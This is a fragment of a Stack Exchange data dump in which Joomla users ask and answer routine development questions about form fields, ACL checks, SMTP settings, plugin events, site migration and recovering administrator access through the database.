href=&quot;http://www.glocksoft.com/easymail/free-newsletter-software-for-non-profit-organizations/&quot; rel=&quot;nofollow noreferrer&quot;&gt;free to non-profits&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With G-Lock EasyMail7 you can use your own hosts email system (SMTP) for FREE or enhance delivery with third party senders like &lt;a href=&quot;https://aws.amazon.com/ses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AMAZON SES&lt;/a&gt;, that allow you to pay for what you use… Imagine being able to send 10,000 emails for just $1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-12-30T16:24:01.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18738" PostTypeId="2" ParentId="15661" CreationDate="2016-12-31T09:32:21.870" Score="0" Body="&lt;p&gt;Finally I extended the JFormFieldRadio and added a method to get this value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptionText($value) {     &#xA;    foreach ($this-&amp;gt;element-&amp;gt;option as $option) {&#xA;        $optvalue = (string)$option['value'];&#xA;        if ($optvalue === $value)&#xA;            return (string)$option;&#xA;    }       &#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-12-31T09:32:21.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18740" PostTypeId="1" AcceptedAnswerId="18741" CreationDate="2016-12-31T13:38:01.380" Score="2" ViewCount="160" Body="&lt;p&gt;I want to know if there is code to hide a button when logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can hide a module/menu item by using the built in ACL features, but how can I do it from a code perspective.  &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-01-04T17:46:00.950" Title="Hide a button depending on ACL" Tags="|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18741" PostTypeId="2" ParentId="18740" CreationDate="2016-12-31T17:09:50.563" Score="4" Body="&lt;p&gt;A simple way is to check if the user has an id - if so it means the user is logged in. If id = 0 then it's a guest user and you can show the button as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if($user-&amp;gt;id == 0)&#xA;{&#xA;    // Code to run for non-logged in users.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can find some examples on how to accomplish various conditional tasks using the user info in these JSE Q/A:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/899/how-to-display-user-profile-information/902#902&quot;&gt;How to display user profile information?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18357/how-to-know-which-usergroup-specific-access-level-user-belongs-to&quot;&gt;How to know which usergroup/specific access level user belongs to&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/1150/how-to-detect-if-user-is-super-user&quot;&gt;How to detect if user is Super User?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17725/joomla-3-x-check-if-user-belongs-to-2-groups&quot;&gt;Joomla 3.x: Check if user belongs to 2 groups&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-01-04T17:46:00.950" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18742" PostTypeId="1" CreationDate="2016-12-31T18:07:52.317" Score="0" ViewCount="516" Body="&lt;p&gt;I have cloned a website into a different domain and I am trying to change the browser title that shows up in the website tab. I have changed the page display Browser Page Title on the home page module(which was blank), I have changed the page title, its still showing the same title that was on the old website. Where can I go into the code and change the title tags myself? which file changes this?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2016-12-31T21:16:48.330" Title="How Change Title tags on joomla browser title" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-02T07:37:58.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="18743" PostTypeId="2" ParentId="18742" CreationDate="2016-12-31T21:16:48.330" Score="0" Body="&lt;p&gt;&quot;Global configuration/Site name&quot; is the site name. Change it. On the same page on the right there is a SEO settings with option &quot;Include site name in page title&quot;. I guess that is what you are searching for.&lt;/p&gt;&#xA;" OwnerUserId="9490" LastActivityDate="2016-12-31T21:16:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18744" PostTypeId="1" AcceptedAnswerId="18746" CreationDate="2017-01-01T08:33:03.203" Score="3" ViewCount="122" Body="&lt;p&gt;I really like stack exchange, you ask questions, get answers, vote for them and many more. I'd like to have a similar platform for my company so that employees can discuss different subjects and tag their discussions. Is there any module/extension for Joomla to do something similar? &lt;/p&gt;&#xA;" OwnerUserId="9496" LastActivityDate="2017-01-01T20:44:44.243" Title="How can I make a site like StackExchange with Joomla?" Tags="|module|extensions|extension-request|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18746" PostTypeId="2" ParentId="18744" CreationDate="2017-01-01T13:06:17.337" Score="7" Body="&lt;p&gt;Theres a whole &lt;a href=&quot;https://extensions.joomla.org/category/communication/question-a-answers&quot; rel=&quot;noreferrer&quot;&gt;Questions and Answers category in the JED&lt;/a&gt; including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/communication/question-a-answers/je-stack-exchange&quot; rel=&quot;noreferrer&quot;&gt;JE Stack Exchange&lt;/a&gt; (free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/je-stack-exchange-pro&quot; rel=&quot;noreferrer&quot;&gt;JE Stack Exchange Pro&lt;/a&gt; (paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/communication/question-a-answers/minitek-discussions-pro?com_jed_extension_limitstart=18&quot; rel=&quot;noreferrer&quot;&gt;Minitek Discussions Pro&lt;/a&gt; (paid)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which seem to have the basic functionality of Stack Exchange.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-01-01T13:36:52.930" LastActivityDate="2017-01-01T13:36:52.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18747" PostTypeId="2" ParentId="17117" CreationDate="2017-01-01T20:22:33.210" Score="3" Body="&lt;p&gt;Another way to reduce the server load is to make the session table of memory type. You need to set mysqls heap size quite large and convert the blob field in session into a large varchar, say 15000 length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had great results with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use memcache and something like elasticache&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2017-01-01T20:22:33.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18748" PostTypeId="2" ParentId="18705" CreationDate="2017-01-02T15:29:48.010" Score="0" Body="&lt;p&gt;Assuming all of your news articles are in different categories, you should tag the new articles with the tag &quot;new&quot;. Then your &quot;show all&quot; button links to the &quot;Tagged Items&quot; menu item you create for the &quot;new&quot; tag. Always tag articles with &quot;new&quot; and remove that tag on old articles you don't want to show.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2017-01-02T15:29:48.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18749" PostTypeId="2" ParentId="18726" CreationDate="2017-01-02T22:07:49.003" Score="1" Body="&lt;p&gt;I haven't found a Joomla setting that makes it required. You could add a plug in that fires a Javascript after page load, adding the required attribute to that element though. Could probably even add some jquery script to the head of your site that forces required.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-01-02T22:07:49.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18750" PostTypeId="2" ParentId="18726" CreationDate="2017-01-02T23:19:55.760" Score="0" Body="&lt;p&gt;As Terry says, the best way to do this (without editing or overriding the code) is probably to add some JavaScript to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the answer at: &lt;a href=&quot;https://stackoverflow.com/a/10034643/1983389&quot;&gt;https://stackoverflow.com/a/10034643/1983389&lt;/a&gt; the JavaScript code will probably look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEvent('domready', function() {&#xA;  $(&quot;#jform_version_note&quot;).attr('required','required');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add the JavaScript using a third party extension such as one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Script&lt;/a&gt; plugin (free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flexi Custom Code&lt;/a&gt; module (free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/add-custom-javascript&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add Custom Javascript&lt;/a&gt; module or plugin (free)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-01-02T23:19:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18751" PostTypeId="1" CreationDate="2017-01-03T10:02:51.503" Score="2" ViewCount="374" Body="&lt;p&gt;I have trouble sending emails with Joomla! 3.6.5&#xA;I get a message &#xA;&lt;strong&gt;Notice&lt;/strong&gt;&#xA;??&lt;strong&gt;SMTP connect failed&lt;/strong&gt;??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings in the configuration file are the same as the same ones as at the hosted website.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $sendmail = '/usr/sbin/sendmail';&#xA;public $smtpauth = '0';&#xA;public $smtpuser = '';&#xA;public $smtppass = '';&#xA;public $smtphost = 'localhost';&#xA;public $smtpsecure = 'none';&#xA;public $smtpport = '25';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any guesses?&lt;/p&gt;&#xA;" OwnerUserId="9503" LastEditorUserId="5638" LastEditDate="2017-01-04T16:38:55.623" LastActivityDate="2019-07-17T09:53:39.010" Title="Cannot send emails after migrating hosted joomla to localhost" Tags="|joomla-3.6|emails|smtp|joomla-mail|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18752" PostTypeId="1" AcceptedAnswerId="18754" CreationDate="2017-01-03T10:07:00.403" Score="4" ViewCount="1405" Body="&lt;p&gt;Is it possible to trigger a event for specific plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can load a specific plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$loaded = JPluginHelper::importPlugin('my_component', 'my_plugin_1');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I trigger an event, all the plugins that have that event are fired:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results = JEventDispatcher::getInstance()-&amp;gt;trigger('my_event');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the results not only of plugin1 but all the plugins that listen to that event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results = ['my_plugin_1_response', 'my_plugin_2_response']&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to limit the plugins listening to the event to &lt;code&gt;my_plugin_1_response&lt;/code&gt; only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that one possible solution would be to order the plugins and get the &lt;code&gt;$results[0]&lt;/code&gt; as the result, but I'm not interested in this, I don't want that the other plugins are fired at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2017-01-03T12:43:02.717" Title="Trigger event for specific plugin only" Tags="|joomla-3.x|plugin|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18754" PostTypeId="2" ParentId="18752" CreationDate="2017-01-03T12:43:02.717" Score="6" Body="&lt;p&gt;Generally, an event dispatcher does not support this concept.  You're better off directly calling that single function versus going through a dispatcher if you really only want one response from one location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 4.0 will use the refactored &lt;a href=&quot;https://github.com/joomla-framework/event/tree/2.0-dev&quot; rel=&quot;noreferrer&quot;&gt;Event package&lt;/a&gt; as its base for event management, and the EventInterface contains a &lt;code&gt;stopPropagation()&lt;/code&gt; method which a listener (your plugins) can call which will instruct the event dispatcher to stop propagating the event to additional listeners.  So you have that to look forward to.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-03T12:43:02.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18755" PostTypeId="2" ParentId="18751" CreationDate="2017-01-03T13:08:42.277" Score="3" Body="&lt;p&gt;You need a valid smtp server account in order to be able to send emails through SMTP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your configuration settings show:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SMTP Host = localhost&lt;br&gt;&#xA;   SMTP User = ''; // none, empty&lt;br&gt;&#xA;   SMTP Password = ''; //none, empty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since I see localhost for the host, I assume you want to use the smtp server of our hosting account. In this case you need to ask your hosting provider about the SMTP host, credentials, info and adjust your configuration file accordingly. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-03T13:08:42.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18756" PostTypeId="1" AcceptedAnswerId="18757" CreationDate="2017-01-03T14:04:23.337" Score="3" ViewCount="1291" Body="&lt;p&gt;I have started developing a website on Joomla! 3.6.5 and need to know if I can later transfer the whole webpage with all the content to a web server without loosing the information (categories, articles and menus). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an export function or something of this kind or if I just copy and paste the installation over FTP to the server it will be OK?&lt;/p&gt;&#xA;" OwnerUserId="9503" LastActivityDate="2017-01-03T20:23:39.117" Title="Transfer website with all categories, articles, menus" Tags="|joomla-3.6|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18757" PostTypeId="2" ParentId="18756" CreationDate="2017-01-03T15:41:39.720" Score="6" Body="&lt;p&gt;Assuming that you're just migrating from one server to the next (e.g. development to production).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at Akeeba Backup.  It is capable of transferring an entire site from one physical/virtual system to another, including the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.akeebabackup.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2017-01-03T15:41:39.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18758" PostTypeId="2" ParentId="18756" CreationDate="2017-01-03T20:23:39.117" Score="2" Body="&lt;p&gt;Regarding Articles and category, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, You can also do the same using taking backup of few tables.&#xA;You have to taken a backup of Content,Assets and category tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Menu you can do the same but here you have to see all the things properly. Here it would be easy for you to add those only Menu from export file as you need.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2017-01-03T20:23:39.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18759" PostTypeId="1" CreationDate="2017-01-03T20:27:36.750" Score="0" ViewCount="372" Body="&lt;p&gt;I can't seem to find an answer to this, so was hoping the community could help shed some light. I have an editor.css set up and the styles are available in the dropdown when creating a K2 item. Brilliant!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, the actual styles do not show in the admin editor screen, but if I apply the style and save the item then view it in the front end the style is correctly displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to display the custom styles on the text in the admin editor so that they match the styles in the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there is a style called 'cred' with the following in the editor.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.cred{    font-style: italic;    color: #8C8C8C;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The text when created in a K2 article by logging into the admin part of the site is not italic, thus the customer keeps thinking the style is not being applied and manually applies the italic when creating the item. However, it shows as italic on the main site without any intervention, thus he does not need to apply the italic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope ive explained that well enough. I just want the backend styles to display as they do in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-01-03T20:27:36.750" Title="JCE Editor - Custom styles not showing in Admin/K2 item" Tags="|joomla-3.x|jce|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18761" PostTypeId="2" ParentId="14562" CreationDate="2017-01-03T23:22:43.407" Score="2" Body="&lt;p&gt;The current version of TinyMCE (v4.4.3) now seems to have this option enabled (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JOauh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOauh.png&quot; alt=&quot;TinyMCE Image Title&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-03T23:22:43.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18762" PostTypeId="2" ParentId="18711" CreationDate="2017-01-04T09:44:51.547" Score="1" Body="&lt;p&gt;Show us some code for Your language file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably Your language file isn't loading. Go to Global Configuration &gt; System &gt; Debug Language &gt; ON. Now You'll see which language files are loaded.&lt;/p&gt;&#xA;" OwnerUserId="7690" LastActivityDate="2017-01-04T09:44:51.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18763" PostTypeId="1" CreationDate="2017-01-04T13:39:29.647" Score="0" ViewCount="65" Body="&lt;p&gt;I have a rather peculiar problem. The web-developer before me run away for some reason and we cannot get ahold of him for the admin password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily we have access to the database according to some of my remote colleagues. I can login to it. I have a administrator username and password that lets me login to the admin panels of the websites but I cannot find that administrator user in the database in the #_users table of those same websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it possible to have the users stored in a different table other than the #_users one? Or I just have access to another database that doesn't have anything to do with the websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Joomla! and I am using -v 3.6.5 &lt;/p&gt;&#xA;" OwnerUserId="9503" LastEditorUserId="3650" LastEditDate="2017-01-04T14:14:30.520" LastActivityDate="2017-02-18T21:13:09.543" Title="Database to multi-language website doesn't have user but log in possible with the user" Tags="|joomla-3.x|database|administrator|joomla-3.6|account-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18764" PostTypeId="2" ParentId="18763" CreationDate="2017-01-04T14:08:48.723" Score="1" Body="&lt;p&gt;It is quite possible not to have users (or articles, categories, etc...) stored in &quot;local&quot; database which belongs to website by its reference in &lt;code&gt;configuration.php&lt;/code&gt; file. That is generally achieved by using multi-sites extensions, such as &lt;a href=&quot;http://alterbrains.com/joomla-extensions/administration/multisites-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;MightySites from AlterBrains&lt;/a&gt;, or &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites/5550&quot; rel=&quot;nofollow noreferrer&quot;&gt;JMS Mutlisites&lt;/a&gt;. They can &quot;map&quot; tables stored in &quot;external&quot; databases to local ones, thus producing effect in which website normally operates like it has all that data &quot;locally&quot;. That way users, articles, categories, etc... can be shared among multiple web sites.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to find out if that is your case, you will need FTP access and verification of existence of &lt;code&gt;com_mightysites&lt;/code&gt; or similar extension, their specific &lt;code&gt;configuration_xxx.php&lt;/code&gt; files, and &lt;code&gt;#_mightysites&lt;/code&gt; table in which table mappings are stored.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a hands-on experience with extensions other than MightySites, so their particular details might vary.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2017-01-04T14:21:58.103" LastActivityDate="2017-01-04T14:21:58.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18766" PostTypeId="1" AcceptedAnswerId="18768" CreationDate="2017-01-04T14:11:15.803" Score="2" ViewCount="739" Body="&lt;p&gt;I'm using an e-mail provider (sparkpost) for sending mail from my Joomla! website. Some mails are marketing e-mails others are transactional e-mails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default e-mail setting in sparkpost is 'marketing'. There is an option to overrule this: add a SMTP header to the e-mail which states the e-mail is transactional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sending mail with the JMail class. I'd like to add this extra sparkpost header named X-MSYS-API to e-mails, which can contain params as JSON data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option to add to the header is option.transactional:false&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;X-MSYS-API: {&#xA;  &quot;campaign_id&quot;: &quot;my_campaign&quot;,&#xA;  &quot;metadata&quot; : {&#xA;    &quot;has_pets&quot;: true,&#xA;    &quot;pet_name&quot;: &quot;Spot&quot;&#xA;  },&#xA;  &quot;cc&quot;: [&#xA;    { &quot;email&quot;: &quot;cc_recip_1@gmail.com&quot;, &quot;name&quot;: &quot;CC 1&quot; },&#xA;    { &quot;email&quot;: &quot;cc_recip_2@gmail.com&quot;, &quot;name&quot;: &quot;CC 2&quot; }&#xA;  ],&#xA;  &quot;bcc&quot;: [&#xA;    { &quot;email&quot;: &quot;bcc_recip_1@gmail.com&quot;, &quot;name&quot;: &quot;BCC 1&quot; }&#xA;    { &quot;email&quot;: &quot;bcc_recip_2@gmail.com&quot;, &quot;name&quot;: &quot;BCC 2&quot; }&#xA;  ],&#xA;  &quot;archive&quot;: [&#xA;    { &quot;email&quot;: &quot;archive_recip_1@gmail.com&quot;, &quot;name&quot;: &quot;Archive 1&quot; }&#xA;    { &quot;email&quot;: &quot;archive_recip_2@gmail.com&quot;, &quot;name&quot;: &quot;Archive 2&quot; }&#xA;  ],&#xA;  &quot;tags&quot;: [&#xA;    &quot;cat&quot;,&#xA;    &quot;dog&quot;&#xA;  ],&#xA;  &quot;options&quot; : {&#xA;    &quot;open_tracking&quot;: false,&#xA;    &quot;click_tracking&quot;: false,&#xA;    &quot;transactional&quot;: false,&#xA;    &quot;sandbox&quot;: false,&#xA;    &quot;skip_suppression&quot;: false,&#xA;    &quot;ip_pool&quot;: &quot;sp_shared&quot;,&#xA;    &quot;inline_css&quot;: false&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does JMail support adding a SMTP header?&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-01-04T15:06:22.843" Title="Adding SMTP header to message sent with JMail" Tags="|emails|jmail|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18767" PostTypeId="2" ParentId="18763" CreationDate="2017-01-04T14:43:24.890" Score="1" Body="&lt;p&gt;It's likely that you are accessing a different database. So make sure you are reaching at the actual current one. Check your configuration.php about the right database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to the database of that website, then I don't understand why you are trying to search for a certain username (if that's the case). Are you sure a certain username exists in the &lt;code&gt;#__users&lt;/code&gt; table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just create a new Super User and simply try to login with that account?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply create a new user in the &lt;code&gt;#__users&lt;/code&gt; table with a simple username, could be &lt;strong&gt;'admin'&lt;/strong&gt; (but must be unique).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Only add name, username, an email if you like, and the password.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For password you can use the following one, which translates to '&lt;strong&gt;admin&lt;/strong&gt;':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$2y$10$a0tad7LWNkq0OoHAEc31qO35sjuN8Mg9aR4dgoUkZTZg2jkgySOxy  &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;#__user_usergroup_map&lt;/code&gt; table, add a new record using the id of the user that you created above for &lt;code&gt;user_id&lt;/code&gt; and &lt;code&gt;8&lt;/code&gt; for group_id.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to the backend of the site with the new user account - and remember to go in &lt;strong&gt;user_manager&lt;/strong&gt; to change your account username/password to something harder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Find some further help in the following Q/A.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/163/change-super-user-account-password&quot;&gt;Change Super User account password&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4462/how-reset-password-for-admin-after-migration-from-1-5&quot;&gt;How (re)set password for admin after migration from 1.5?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;--- that should have been a comment ---&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It was confusing the part in your question where you say: &lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;I have a administrator username and password that lets me login to the&#xA;    admin panels of the websites but I cannot find that administrator user&#xA;    in the database in the #_users table of those same websites.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;while just before you said you don't have an admin password. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-01-19T17:16:12.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18768" PostTypeId="2" ParentId="18766" CreationDate="2017-01-04T15:06:22.843" Score="3" Body="&lt;p&gt;Ah, I've found it: AddCustomHeader(). Output looks OK like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body = &quot;Some content&quot;;&#xA;$mail = JFactory::getMailer();&#xA;$mail-&amp;gt;addRecipient(&quot;recipient@example.com&quot;);&#xA;$mail-&amp;gt;setBody($body);&#xA;$mail-&amp;gt;setSender(array(&quot;sender@example.com&quot;, &quot;John Doe&quot;));&#xA;$mail-&amp;gt;setSubject(&quot;My Subject&quot;);&#xA;$data = array(&#xA;&quot;options&quot; =&amp;gt; array(&quot;transactional&quot; =&amp;gt; &quot;true&quot;)&#xA;);&#xA;$options = json_encode( $data );&#xA;$mail-&amp;gt;AddCustomHeader(&quot;X-MSYS-API&quot;, $options);&#xA;$mail-&amp;gt;Send(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-01-04T15:06:22.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
